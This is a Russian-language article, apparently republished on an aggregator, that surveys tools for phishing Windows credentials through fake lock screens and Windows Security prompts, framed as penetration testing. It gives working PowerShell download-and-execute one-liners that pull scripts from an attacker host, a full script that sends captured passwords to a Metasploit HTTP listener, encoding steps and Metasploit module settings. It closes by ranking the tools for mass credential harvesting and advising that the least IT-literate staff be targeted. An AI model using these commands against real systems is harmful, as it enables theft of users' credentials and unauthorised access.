Русский
Русский
English
Статистика
Реклама

Credential access

Фишинг учетных данных Windows

16.07.2020 18:14:38 | Автор: admin


В первом квартале 2020 года число фишинговых атак на пользователей по всему миру выросло вдвое по сравнению с аналогичным периодом 2019 года с 9% до 18%. Такие данные приводит Лаборатория Касперского.

В операционных системах семейства Windows у некоторых программ и процессов запрашивать учетные данные пользователя для аутентификации (например, в Outlook) для повышения привилегий выполнения (User Account Control) или просто для выхода из режима ожидания (Windows LockScreen) нормально. Имитация такого поведения Windows позволяет получить учетные данные пользователей с их последующим применением на поздних этапах тестирования на проникновение. В этой статье собран дайджест из нескольких распространенных программ для фишинга через подмену экрана блокировки.

С#


Современные методики пентеста часто базируются на языке программирования C#, поскольку программы на нем могут выполняться через различные фреймворки (Cobalt Strike, Covenant и др.)

1) Утилита The FakeLogonScreen была разработана Arris Huijgen на C# и она не просто подменяет стандартный экран ввода пароля ОС, а делает это, используя параметры стандартного экрана, заданные в системе, что в разы повышает шансы не вызвать у пользователя подозрение и удачно получить его учетные данные для входа в систему.


FakeLogonScreen запуск


FakeLogonScreen блокировка экрана

При вводе пароля на фейковой странице входа FakeLogonScreen выполнит валидацию учетных данных в AD или локально, чтобы точно определить, верный ли пароль был введен. В дальнейшем пароль будет отображен в консоли пентестера.


FakeLogonScreen Ввод учетных данных

Также в состав FakeLogonScreen входит второй вариант исполняемого файла, который сохраняет пойманные учетные данные в файл user.db локально на инфицированной машине. Данный файл может быть просмотрен с помощью команды type:

type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db


FakeLogonScreen сохранение в файл user.db

2) Похожим образом устроена программа SharpLocker, разработанная Matt Pickford. После запуска она также подменяет собой оригинальный экран входа в систему.


SharpLocker блокировка экрана

Каждый введенный пользователем символ перехватывается, пока не будет выявлен весь пароль целиком. Стоит, однако, отметить, что данная утилита не выполняет проверку подлинности пароля и будет снифить все, что пользователь введет в поле пароля.


SharpLocker фишинг пароля

Power Shell


Запросы учетных данных со стороны службы безопасности Windows очень распространены, поскольку ПО в корпоративной среде может регулярно требовать дополнительное подтверждение действий или переавторизацию. Microsoft Outlook, например, один из ярчайших представителей такого ПО, которое постоянно запрашивает у пользователей доменные учетные данные.

1. Утилита, которая маскируется под окно запроса со стороны безопасности Windows называется CredsLeaker. Для ее корректной работы требуется web-сервер, с которого она будет получать все необходимые файлы и куда будет сохранять учетные данные пользователей, а также наличие PowerShell, чтобы отправлять HTTP запросы на свой сервер. Все команды в дальнейшем будут выполнены из имеющегося в составе BAT-файла.


CredsLeaker HTTP Delivery

Перед запуском run.bat-файла необходимо внести все необходимые изменения в конфигурационные файлы утилиты. Как только run.bat файл будет запущен, пользователь увидит окно Windows Security с запросом его учетных данных.


CredsLeaker окно фишинга

Окно с запросом исчезнет, только если будут введены валидные учетные данные пользователя. Домен, имя компьютера, имя пользователя и пароль будут сохранены в файле creds.txt по указанному ниже пути:

/var/www/html/creds.txt


CredsLeaker вывод в файл creds.txt

2. Matt Nelson разработал PowerShell скрипт, который вызывает окно запроса учетных данных Windows Security с последующей проверкой их валидности. Данное окно также не может быть закрыто пользователем, пока не будут введены актуальные учетные данные. Этот скрипт может быть выполнен удаленно, а введенные учетные данные будут отображены в консоли на машине злоумышленника:

 powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt


Invoke-LoginPrompt удаленный вызов


Invoke-LoginPrompt окно фишинга

3. В составе Nishang framework тоже имеется PowerShell-скрипт, который создает фейковое окно запроса учетных данных пользователя.

Import-Module C:\Invoke-CredentialsPhish.ps1 Invoke-CredentialsPhish


Invoke-CredentialsPhish локальный вызов и окно фишинга

Сгенерированное окно будет содержать информацию о том, что на выполнение данного действия требуется подтверждение в виде ввода учетных данных. Более опытные в плане ИБ пользователи могут заподозрить, что данное окно вызвано запуском некоего приложения в фоне, однако в корпоративной сети далеко не все могут обладать этими знаниями. Учетные данные, которые пользователь введет в диалоговом окне, будут отображены в консоли.


Invoke-CredentialsPhish вывод собранных данных

Данный скрипт также может быть запущен удаленно:

powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish

Rob Fuller в своем блоге описал атаку по фишингу учетных данных пользователя с использованием Metasploit и PowerShell. Metasploit Framework располагает в своем составе модулями, которые могут захватывать учетные данные пользователей из различных протоколов (FTP, SMB, HTTP и др.). Указанный ниже модуль используется для развертывания базового HTTP сервера с аутентификацией:

use auxiliary/server/capture/http_basicset URIPATH /

PowerShell применяется для проведения атаки по фишингу учетных данных пользователя посредством генерации окна запроса Windows Security с последующей передачей собранных учетных данных на HTTP сервер, созданный ранее через Metasploit:

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$wc = new-object net.webclient;$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');$result = $wc.downloadstring('http://10.10.0.5/');

Для изначального захвата учетных данных требуется использовать кодировку UTF-16LE с последующим конвертированием в Base64:

cat popup.txt | iconv -t UTF-16LE cat popup.txt | iconv -t UTF-16LE | base64 -w0


Конвертация кода в Base64

Выполнение указанного кода, локально или удаленно, приводит к появлению у пользователя окна запроса на авторизацию якобы со стороны Windows Security.

powershell.exe -ep bypass -enc <base64> 



Окно фишинга учетных данных

Модуль Metasploit получит учетные данные сразу после ввода со стороны пользователя.


Metasploit HTTP Server получение учетных данных

Metasploit


Metasploit Framework имеет в своем составе модуль, способный самостоятельно вызвать фейковое окно с запросом авторизации Windows Security со стороны практически любого процесса в системе. Для корректной работы данного модуля требуется указать рабочую meterpreter сессию и процесс, от имени которого будет вызван фейковый запрос авторизации Windows Security.

use post/windows/gather/phish_windows_credentialsset SESSION 3set PROCESS *run


Metasploit Module конфигурация

В данном случае символ * указывает модулю, чтобы он выполнял мониторинг всех процессов, которые запущены от имени системы (NT Authority\System), и вызвал диалоговое окно в тот момент, когда в системе будет запущен новый процесс от имени системы.


Metasploit Module мониторинг по всем процессам

Как только новый процесс запустится, пользователю будет выдано диалоговое окно от имени данного процесса с запросом авторизации для якобы подтверждения дальнейшей работы.


Metasploit Module окно фишинга

Как только пользователь введет учетные данные, они сразу же будут отображены в консоли Metasploit.


Metasploit Module получение учетных данных

Также данный модуль может быть настроен на ожидание запуска конкретного процесса.


Metasploit Module получение учетных данных через процесс notepad.exe

BASH


Lockphish это еще одна утилита, которая способна выполнить фишинговую атаку с подменой окна входа в систему Windows. Темплейт окна входа в систему хранится на PHP-сервере и по умолчанию использует YouTube, чтобы выполнить редирект пользователя после ввода логина и пароля.

 bash lockphish.sh


LockPhish запуск

На данном этапе потребуется прибегнуть к помощи социальной инженерии, чтобы заманить пользователя на веб-сайт, где расположены файлы экрана блокировки.


LockPhish скачивание файла

В отличие от всех остальных утилит, расположение элементов на данном экране блокировки может быть не точным, запрос на авторизацию будет выведен от имени Администратора, а не от имени текущего аккаунта пользователя, а внешне окно блокировки стилизовано под Windows 10 Lockscreen. Все это в комплексе может очень сильно насторожить пользователя. Данная утилита также не имеет механизмов валидации введенного пароля.


LockPhish экран блокировки

После того, как пользователь выполнит ввод учетных данных, будет выполнен редирект на веб-сайт youtube.com.


LockPhish редирект

Учетные данные будут отображены в консоли.


LockPhish собранные учетные данные

Представленные в статье методы будут эффективны, если пентестеру уже удалось закрепиться в системе (получить стабильную точку входа), но повысить привилегии или получить учетные данные пользователей другим путем не получается. При проведении подобных фишинговых атак, следует очень тщательно подбирать целевую аудиторию. Эффективность будет в разы выше, если целью окажутся наименее IT-грамотные сотрудники организации.

Краткий вердикт по всем протестированным ПО


  • FakeLogonScreen. Выглядит максимально правдоподобно, при этом использует стандартные параметры, установленные в системе. Умеет выполнять валидацию введенных учетных данных. (Лучший выбор)
  • SharpLocker. Не выполняет проверку подлинности, использованы стандартные обои windows для LockScreen, верстка самого локскрина слегка уходит вправо, что может насторожить пользователя. (Не рекомендуется к использованию, если есть возможность применить FakeLogonScreen)
  • CredsLeaker. Простота исполнения, генерирует аутентичное окно, но требует веб-сервер для работы. Если нужно сработать по одному пользователю, то наличие веб-сера это скорее минус, если есть возможность запустить скрипт на всех компьютерах домена и массово причесать учетные данные, то веб-сервер это, безусловно, плюс. (Рекомендовано для массового сбора учетных данных)
  • Invoke-LoginPrompt. Простота реализации, подойдет для точечного применения, создаваемое окно стилизовано под старые или серверные версии Windows. Может вызвать подозрения у пользователя. (Рекомендовано к использованию, но с осторожностью)
  • Invoke-CredentialsPhish. Все то же самое, что и у пациента выше.
  • Скрипт от Rob Fuller. Интеграция с metasploit, возможность массового применения, легкие танцы с бубном в виде конвертации. (Также отлично подойдет для массового сбора учетных данных)
  • Модуль Metasploit phish_windows_credentials. Полная интеграция с Metasploit (таки модуль), создаваемое окно старой версии. (Применять можно, но учитывайте IT-грамотность жертвы)
  • LockPhish. С одной стороны криво сверстанный локскрин, без проверки подлинности, да еще и без учета текущего пользователя (Всегда просит пароль от Administrator). С другой стороны единственный из пациентов, который может сработать через браузер. Отослали жертве ссылку и ждем. (Применять из коробки не рекомендуется, однако, если знаете логин конкретной жертвы, то перенастройте с Adminnistrator на него и будет уже не так плохо. Может даже и сработать)
Еще больше материалов в нашем блоге в telegram. Подписывайся!
Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru